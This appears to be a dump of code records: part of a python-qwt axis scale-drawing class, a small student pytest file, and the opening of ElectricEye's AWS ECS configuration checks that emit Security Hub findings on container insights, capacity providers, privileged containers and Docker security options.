== self.RightScale:\n x1 = pos.x()\n x2 = pos.x() + pw + len_\n painter.drawLine(x1, tval, x2, tval)\n elif self.alignment() == self.BottomScale:\n y1 = pos.y()\n y2 = pos.y() + pw + len_\n painter.drawLine(tval, y1, tval, y2)\n elif self.alignment() == self.TopScale:\n y1 = pos.y() + a\n y2 = pos.y() - pw - len_ + a\n painter.drawLine(tval, y1, tval, y2)\n\n def drawBackbone(self, painter):\n \"\"\"\n Draws the baseline of the scale\n\n :param QPainter painter: Painter\n \n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawLabel()`\n \"\"\"\n pos = self.__data.pos\n len_ = self.__data.len\n off = 0.5 * self.penWidth()\n if self.alignment() == self.LeftScale:\n x = pos.x() - off\n painter.drawLine(x, pos.y(), x, pos.y() + len_)\n elif self.alignment() == self.RightScale:\n x = pos.x() + off\n painter.drawLine(x, pos.y(), x, pos.y() + len_)\n elif self.alignment() == self.TopScale:\n y = pos.y() - off\n painter.drawLine(pos.x(), y, pos.x() + len_, y)\n elif self.alignment() == self.BottomScale:\n y = pos.y() + off\n painter.drawLine(pos.x(), y, pos.x() + len_, y)\n\n def move(self, *args):\n \"\"\"\n Move the position of the scale\n \n The meaning of the parameter pos depends on the alignment:\n \n * `QwtScaleDraw.LeftScale`:\n \n The origin is the topmost point of the backbone. The backbone is a \n vertical line. Scale marks and labels are drawn at the left of the \n backbone.\n \n * `QwtScaleDraw.RightScale`:\n \n The origin is the topmost point of the backbone. The backbone is a \n vertical line. Scale marks and labels are drawn at the right of \n the backbone.\n \n * `QwtScaleDraw.TopScale`:\n \n The origin is the leftmost point of the backbone. The backbone is \n a horizontal line. Scale marks and labels are drawn above the \n backbone.\n \n * `QwtScaleDraw.BottomScale`:\n \n The origin is the leftmost point of the backbone. The backbone is \n a horizontal line Scale marks and labels are drawn below the \n backbone.\n \n .. py:method:: move(x, y)\n :noindex:\n \n :param float x: X coordinate\n :param float y: Y coordinate\n \n .. py:method:: move(pos)\n :noindex:\n \n :param QPointF pos: position\n \n .. seealso::\n \n :py:meth:`pos()`, :py:meth:`setLength()`\n \"\"\"\n if len(args) == 2:\n x, y = args\n self.move(QPointF(x, y))\n elif len(args) == 1:\n (pos,) = args\n self.__data.pos = pos\n self.updateMap()\n else:\n raise TypeError(\n \"%s().move() takes 1 or 2 argument(s) (%s given)\"\n % (self.__class__.__name__, len(args))\n )\n\n def pos(self):\n \"\"\"\n :return: Origin of the scale\n \n .. seealso::\n \n :py:meth:`pos()`, :py:meth:`setLength()`\n \"\"\"\n return self.__data.pos\n\n def setLength(self, length):\n \"\"\"\n Set the length of the backbone.\n\n The length doesn't include the space needed for overlapping labels.\n\n :param float length: Length of the backbone\n \n .. seealso::\n \n :py:meth:`move()`, :py:meth:`minLabelDist()`\n \"\"\"\n if length >= 0 and length < 10:\n length = 10\n if length < 0 and length > -10:\n length = -10\n self.__data.len = length\n self.updateMap()\n\n def length(self):\n \"\"\"\n :return: the length of the backbone\n \n .. seealso::\n \n :py:meth:`setLength()`, :py:meth:`pos()`\n \"\"\"\n return self.__data.len\n\n def drawLabel(self, painter, value):\n \"\"\"\n Draws the label for a major scale tick\n\n :param QPainter painter: Painter\n :param float value: Value\n \n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawBackbone()`, \n :py:meth:`boundingLabelRect()`\n \"\"\"\n lbl = self.tickLabel(painter.font(), value)\n if lbl is None or lbl.isEmpty():\n return\n pos = self.labelPosition(value)\n labelSize = lbl.textSize(painter.font())\n transform = self.labelTransformation(pos, labelSize)\n painter.save()\n painter.setWorldTransform(transform, True)\n lbl.draw(painter, QRect(QPoint(0, 0), labelSize.toSize()))\n painter.restore()\n\n def boundingLabelRect(self, font, value):\n \"\"\"\n Find the bounding rectangle for the label.\n\n The coordinates of the rectangle are absolute (calculated from \n `pos()`) in direction of the tick.\n\n :param QFont font: Font used for painting\n :param float value: Value\n :return: Bounding rectangle\n \n .. seealso::\n \n :py:meth:`labelRect()`\n \"\"\"\n lbl = self.tickLabel(font, value)\n if lbl.isEmpty():\n return QRect()\n pos = self.labelPosition(value)\n labelSize = lbl.textSize(font)\n transform = self.labelTransformation(pos, labelSize)\n return transform.mapRect(QRect(QPoint(0, 0), labelSize.toSize()))\n\n def labelTransformation(self, pos, size):\n \"\"\"\n Calculate the transformation that is needed to paint a label\n depending on its alignment and rotation.\n\n :param QPointF pos: Position where to paint the label\n :param QSizeF size: Size of the label\n :return: Transformation matrix\n \n .. seealso::\n \n :py:meth:`setLabelAlignment()`, :py:meth:`setLabelRotation()`\n \"\"\"\n transform = QTransform()\n transform.translate(pos.x(), pos.y())\n transform.rotate(self.labelRotation())\n\n flags = self.labelAlignment()\n if flags == 0:\n flags = self.Flags[self.alignment()]\n\n if flags & Qt.AlignLeft:\n x = -size.width()\n elif flags & Qt.AlignRight:\n x = 0.0\n else:\n x = -(0.5 * size.width())\n\n if flags & Qt.AlignTop:\n y = -size.height()\n elif flags & Qt.AlignBottom:\n y = 0\n else:\n y = -(0.5 * size.height())\n\n transform.translate(x, y)\n\n return transform\n\n def labelRect(self, font, value):\n \"\"\"\n Find the bounding rectangle for the label. The coordinates of\n the rectangle are relative to spacing + tick length from the backbone\n in direction of the tick.\n\n :param QFont font: Font used for painting\n :param float value: Value\n :return: Bounding rectangle that is needed to draw a label\n \"\"\"\n lbl = self.tickLabel(font, value)\n if not lbl or lbl.isEmpty():\n return QRectF(0.0, 0.0, 0.0, 0.0)\n pos = self.labelPosition(value)\n labelSize = lbl.textSize(font)\n transform = self.labelTransformation(pos, labelSize)\n br = transform.mapRect(QRectF(QPointF(0, 0), labelSize))\n br.translate(-pos.x(), -pos.y())\n return br\n\n def labelSize(self, font, value):\n \"\"\"\n Calculate the size that is needed to draw a label\n\n :param QFont font: Label font\n :param float value: Value\n :return: Size that is needed to draw a label\n \"\"\"\n return self.labelRect(font, value).size()\n\n def setLabelRotation(self, rotation):\n \"\"\"\n Rotate all labels.\n\n When changing the rotation, it might be necessary to\n adjust the label flags too. Finding a useful combination is\n often the result of try and error.\n\n :param float rotation: Angle in degrees. When changing the label rotation, the label flags often needs to be adjusted too.\n \n .. seealso::\n \n :py:meth:`setLabelAlignment()`, :py:meth:`labelRotation()`, \n :py:meth:`labelAlignment()`\n \"\"\"\n self.__data.labelRotation = rotation\n\n def labelRotation(self):\n \"\"\"\n :return: the label rotation\n \n .. seealso::\n \n :py:meth:`setLabelRotation()`, :py:meth:`labelAlignment()`\n \"\"\"\n return self.__data.labelRotation\n\n def setLabelAlignment(self, alignment):\n \"\"\"\n Change the label flags\n\n Labels are aligned to the point tick length + spacing away from the \n backbone.\n\n The alignment is relative to the orientation of the label text.\n In case of an flags of 0 the label will be aligned\n depending on the orientation of the scale:\n \n * `QwtScaleDraw.TopScale`: `Qt.AlignHCenter | Qt.AlignTop`\n * `QwtScaleDraw.BottomScale`: `Qt.AlignHCenter | Qt.AlignBottom`\n * `QwtScaleDraw.LeftScale`: `Qt.AlignLeft | Qt.AlignVCenter`\n * `QwtScaleDraw.RightScale`: `Qt.AlignRight | Qt.AlignVCenter`\n\n Changing the alignment is often necessary for rotated labels.\n\n :param Qt.Alignment alignment Or'd `Qt.AlignmentFlags`\n \n .. seealso::\n \n :py:meth:`setLabelRotation()`, :py:meth:`labelRotation()`, \n :py:meth:`labelAlignment()`\n \n .. warning::\n \n The various alignments might be confusing. The alignment of the \n label is not the alignment of the scale and is not the alignment \n of the flags (`QwtText.flags()`) returned from \n `QwtAbstractScaleDraw.label()`.\n \"\"\"\n self.__data.labelAlignment = alignment\n\n def labelAlignment(self):\n \"\"\"\n :return: the label flags\n \n .. seealso::\n \n :py:meth:`setLabelAlignment()`, :py:meth:`labelRotation()`\n \"\"\"\n return self.__data.labelAlignment\n\n def setLabelAutoSize(self, state):\n \"\"\"\n Set label automatic size option state\n\n When drawing text labels, if automatic size mode is enabled (default \n behavior), the axes are drawn in order to optimize layout space and \n depends on text label individual sizes. Otherwise, width and height \n won't change when axis range is changing.\n \n This option is not implemented in Qwt C++ library: this may be used \n either as an optimization (updating plot layout is faster when this \n option is enabled) or as an appearance preference (with Qwt default \n behavior, the size of axes may change when zooming and/or panning \n plot canvas which in some cases may not be desired).\n\n :param bool state: On/off \n\n .. seealso::\n \n :py:meth:`labelAutoSize()`\n \"\"\"\n self.__data.labelAutoSize = state\n\n def labelAutoSize(self):\n \"\"\"\n :return: True if automatic size option is enabled for labels\n \n .. seealso::\n \n :py:meth:`setLabelAutoSize()`\n \"\"\"\n return self.__data.labelAutoSize\n\n def _get_max_label_size(self, font):\n key = (font.toString(), self.labelRotation())\n size = self._max_label_sizes.get(key)\n if size is None:\n size = self.labelSize(font, -999999) # -999999 is the biggest label\n size.setWidth(np.ceil(size.width()))\n size.setHeight(np.ceil(size.height()))\n return self._max_label_sizes.setdefault(key, size)\n else:\n return size\n\n def maxLabelWidth(self, font):\n \"\"\"\n :param QFont font: Font\n :return: the maximum width of a label\n \"\"\"\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if not ticks:\n return 0\n if self.labelAutoSize():\n vmax = sorted(\n [v for v in ticks if self.scaleDiv().contains(v)],\n key=lambda obj: len(QLocale().toString(obj)),\n )[-1]\n return np.ceil(self.labelSize(font, vmax).width())\n ## Original implementation (closer to Qwt's C++ code, but slower):\n # return np.ceil(max([self.labelSize(font, v).width()\n # for v in ticks if self.scaleDiv().contains(v)]))\n else:\n return self._get_max_label_size(font).width()\n\n def maxLabelHeight(self, font):\n \"\"\"\n :param QFont font: Font\n :return: the maximum height of a label\n \"\"\"\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if not ticks:\n return 0\n if self.labelAutoSize():\n vmax = sorted(\n [v for v in ticks if self.scaleDiv().contains(v)],\n key=lambda obj: len(QLocale().toString(obj)),\n )[-1]\n return np.ceil(self.labelSize(font, vmax).height())\n ## Original implementation (closer to Qwt's C++ code, but slower):\n # return np.ceil(max([self.labelSize(font, v).height()\n # for v in ticks if self.scaleDiv().contains(v)]))\n else:\n return self._get_max_label_size(font).height()\n\n def updateMap(self):\n pos = self.__data.pos\n len_ = self.__data.len\n sm = self.scaleMap()\n if self.orientation() == Qt.Vertical:\n sm.setPaintInterval(pos.y() + len_, pos.y())\n else:\n sm.setPaintInterval(pos.x(), pos.x() + len_)\n\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from largest_product.py import largest_product\nimport pytest\n\n\ndef test_product_returns():\n \"\"\"test if return is a single product \"\"\"\n assert largest_product.largest([[2, 2]]) is 4\n\n\ndef test_returns_largest():\n \"\"\" test if return is the largest of longer array \"\"\"\n assert largest_product.largest([[1, 3], [6, 10], [4, 5]]) is 60\n\n\ndef test_empty_list():\n \"\"\" test if returns msg if empty list \"\"\"\n assert largest_product.largest([]) == 'empty arr used'\n\n\ndef test_check_if_syb_has_only_1_el():\n \"\"\"test for one value\"\"\"\n arr = [3]\n val = 0\n assert largest_product.node_inside(arr, val) == 3\n", "source": "jayadams011/data-structures-and-algorithms", "license": "MIT"} {"text": "#This file is part of ElectricEye.\n#SPDX-License-Identifier: Apache-2.0\n\n#Licensed to the Apache Software Foundation (ASF) under one\n#or more contributor license agreements. See the NOTICE file\n#distributed with this work for additional information\n#regarding copyright ownership. The ASF licenses this file\n#to you under the Apache License, Version 2.0 (the\n#\"License\"); you may not use this file except in compliance\n#with the License. You may obtain a copy of the License at\n\n#http://www.apache.org/licenses/LICENSE-2.0\n\n#Unless required by applicable law or agreed to in writing,\n#software distributed under the License is distributed on an\n#\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n#KIND, either express or implied. See the License for the\n#specific language governing permissions and limitations\n#under the License.\n\nimport boto3\nimport datetime\nfrom check_register import CheckRegister\n\nregistry = CheckRegister()\n\n# import boto3 clients\necs = boto3.client(\"ecs\")\n# loop through ECS Clusters\ndef list_clusters(cache):\n response = cache.get(\"list_clusters\")\n if response:\n return response\n cache[\"list_clusters\"] = ecs.list_clusters()\n return cache[\"list_clusters\"]\n\n\n@registry.register_check(\"ecs\")\ndef ecs_cluster_container_insights_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.1] ECS clusters should have container insights enabled\"\"\"\n response = list_clusters(cache)\n myEcsClusters = response[\"clusterArns\"]\n for clusters in myEcsClusters:\n clusterArn = str(clusters)\n try:\n response = ecs.describe_clusters(clusters=[clusterArn])\n for clusterinfo in response[\"clusters\"]:\n clusterName = str(clusterinfo[\"clusterName\"])\n ecsClusterArn = str(clusterinfo[\"clusterArn\"])\n for settings in clusterinfo[\"settings\"]:\n contInsightsCheck = str(settings[\"value\"])\n # ISO Time\n iso8601Time = (\n datetime.datetime.utcnow()\n .replace(tzinfo=datetime.timezone.utc)\n .isoformat()\n )\n if contInsightsCheck == \"disabled\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-container-insights-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"LOW\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.1] ECS clusters should have container insights enabled\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" does not have container insights enabled. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on configuring Container Insights for your cluster refer to the Setting Up Container Insights on Amazon ECS for Cluster- and Service-Level Metrics section of the Amazon CloudWatch User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/deploy-container-insights-ECS-cluster.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF DE.AE-3\",\n \"NIST SP 800-53 AU-6\",\n \"NIST SP 800-53 CA-7\",\n \"NIST SP 800-53 IR-4\",\n \"NIST SP 800-53 IR-5\",\n \"NIST SP 800-53 IR-8\",\n \"NIST SP 800-53 SI-4\",\n \"AICPA TSC CC7.2\",\n \"ISO 27001:2013 A.12.4.1\",\n \"ISO 27001:2013 A.16.1.7\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-container-insights-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.1] ECS clusters should have container insights enabled\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" has container insights enabled.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on configuring Container Insights for your cluster refer to the Setting Up Container Insights on Amazon ECS for Cluster- and Service-Level Metrics section of the Amazon CloudWatch User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/deploy-container-insights-ECS-cluster.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF DE.AE-3\",\n \"NIST SP 800-53 AU-6\",\n \"NIST SP 800-53 CA-7\",\n \"NIST SP 800-53 IR-4\",\n \"NIST SP 800-53 IR-5\",\n \"NIST SP 800-53 IR-8\",\n \"NIST SP 800-53 SI-4\",\n \"AICPA TSC CC7.2\",\n \"ISO 27001:2013 A.12.4.1\",\n \"ISO 27001:2013 A.16.1.7\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n except Exception as e:\n print(e)\n\n@registry.register_check(\"ecs\")\ndef ecs_cluster_default_provider_strategy_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.2] ECS clusters should have a default cluster capacity provider strategy configured\"\"\"\n response = list_clusters(cache)\n myEcsClusters = response[\"clusterArns\"]\n for clusters in myEcsClusters:\n clusterArn = str(clusters)\n try:\n response = ecs.describe_clusters(clusters=[clusterArn])\n for clusterinfo in response[\"clusters\"]:\n clusterName = str(clusterinfo[\"clusterName\"])\n ecsClusterArn = str(clusterinfo[\"clusterArn\"])\n defaultProviderStratCheck = str(clusterinfo[\"defaultCapacityProviderStrategy\"])\n # ISO Time\n iso8601Time = (\n datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()\n )\n if defaultProviderStratCheck == \"[]\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-default-provider-strategy-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.2] ECS clusters should have a default cluster capacity provider strategy configured\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" does not have a default provider strategy configured. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on cluster capacity provider strategies for your cluster refer to the Amazon ECS Cluster Capacity Providers section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/cluster-capacity-providers.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF ID.AM-2\",\n \"NIST SP 800-53 CM-8\",\n \"NIST SP 800-53 PM-5\",\n \"AICPA TSC CC3.2\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.1.1\",\n \"ISO 27001:2013 A.8.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-default-provider-strategy-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.2] ECS clusters should have a default cluster capacity provider strategy configured\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" has a default provider strategy configured.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on cluster capacity provider strategies for your cluster refer to the Amazon ECS Cluster Capacity Providers section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/cluster-capacity-providers.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF ID.AM-2\",\n \"NIST SP 800-53 CM-8\",\n \"NIST SP 800-53 PM-5\",\n \"AICPA TSC CC3.2\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.1.1\",\n \"ISO 27001:2013 A.8.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n except Exception as e:\n print(e)\n\n@registry.register_check(\"ecs\")\ndef ecs_task_definition_privileged_container_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.3] ECS Task Definitions should not run privileged containers if not required\"\"\"\n for taskdef in ecs.list_task_definitions(status='ACTIVE')['taskDefinitionArns']:\n try:\n response = ecs.describe_task_definition(taskDefinition=taskdef)[\"taskDefinition\"]\n taskDefinitionArn = str(response['taskDefinitionArn'])\n tdefFamily = str(response[\"family\"])\n # Loop container definitions \n for cdef in response[\"containerDefinitions\"]:\n # ISO Time\n iso8601Time = (datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat())\n cdefName = str(cdef[\"name\"])\n # We are going to assume that if there is not a privileged flag...that it is ;)\n try:\n privCheck = str(cdef[\"privileged\"])\n except:\n privCheck = 'UNKNOWN'\n if privCheck != 'False': \n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-privileged-container-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"TTPs/Privilege Escalation\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"MEDIUM\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.3] ECS Task Definitions should not run privileged containers if not required\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" has defined a Privileged container, which should be avoided unless absolutely necessary. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running as Privileged will have Root permissions, this should be avoided if not needed. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.AC-1\",\n \"NIST SP 800-53 AC-1\",\n \"NIST SP 800-53 AC-2\",\n \"NIST SP 800-53 IA-1\",\n \"NIST SP 800-53 IA-2\",\n \"NIST SP 800-53 IA-3\",\n \"NIST SP 800-53 IA-4\",\n \"NIST SP 800-53 IA-5\",\n \"NIST SP 800-53 IA-6\",\n \"NIST SP 800-53 IA-7\",\n \"NIST SP 800-53 IA-8\",\n \"NIST SP 800-53 IA-9\",\n \"NIST SP 800-53 IA-10\",\n \"NIST SP 800-53 IA-11\",\n \"AICPA TSC CC6.1\",\n \"AICPA TSC CC6.2\",\n \"ISO 27001:2013 A.9.2.1\",\n \"ISO 27001:2013 A.9.2.2\",\n \"ISO 27001:2013 A.9.2.3\",\n \"ISO 27001:2013 A.9.2.4\",\n \"ISO 27001:2013 A.9.2.6\",\n \"ISO 27001:2013 A.9.3.1\",\n \"ISO 27001:2013 A.9.4.2\",\n \"ISO 27001:2013 A.9.4.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-privileged-container-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"TTPs/Privilege Escalation\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.3] ECS Task Definitions should not run privileged containers if not required\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" has not defined a Privileged container.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running as Privileged will have Root permissions, this should be avoided if not needed. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.AC-1\",\n \"NIST SP 800-53 AC-1\",\n \"NIST SP 800-53 AC-2\",\n \"NIST SP 800-53 IA-1\",\n \"NIST SP 800-53 IA-2\",\n \"NIST SP 800-53 IA-3\",\n \"NIST SP 800-53 IA-4\",\n \"NIST SP 800-53 IA-5\",\n \"NIST SP 800-53 IA-6\",\n \"NIST SP 800-53 IA-7\",\n \"NIST SP 800-53 IA-8\",\n \"NIST SP 800-53 IA-9\",\n \"NIST SP 800-53 IA-10\",\n \"NIST SP 800-53 IA-11\",\n \"AICPA TSC CC6.1\",\n \"AICPA TSC CC6.2\",\n \"ISO 27001:2013 A.9.2.1\",\n \"ISO 27001:2013 A.9.2.2\",\n \"ISO 27001:2013 A.9.2.3\",\n \"ISO 27001:2013 A.9.2.4\",\n \"ISO 27001:2013 A.9.2.6\",\n \"ISO 27001:2013 A.9.3.1\",\n \"ISO 27001:2013 A.9.4.2\",\n \"ISO 27001:2013 A.9.4.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n except Exception as e:\n print(e)\n\n@registry.register_check(\"ecs\")\ndef ecs_task_definition_security_labels_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.4] ECS Task Definitions for EC2 should have Docker Security Options (SELinux or AppArmor) configured\"\"\"\n for taskdef in ecs.list_task_definitions(status='ACTIVE')['taskDefinitionArns']:\n try:\n response = ecs.describe_task_definition(taskDefinition=taskdef)[\"taskDefinition\"]\n taskDefinitionArn = str(response[\"taskDefinitionArn\"])\n tdefFamily = str(response[\"family\"])\n # If there is a network mode of \"awsvpc\" it is likely a Fargate task - even though EC2 compute can run with that...\n # time for some funky edge cases, keep that in mind before you yeet an issue at me, please ;)\n if str(response[\"networkMode\"]) == 'awsvpc':\n continue\n else:\n # Loop container definitions \n for cdef in response[\"containerDefinitions\"]:\n # ISO Time\n iso8601Time = (datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat())\n cdefName = str(cdef[\"name\"])\n try:\n # This is a passing check\n secOpts = str(cdef[\"dockerSecurityOptions\"])\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-security-labels-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n 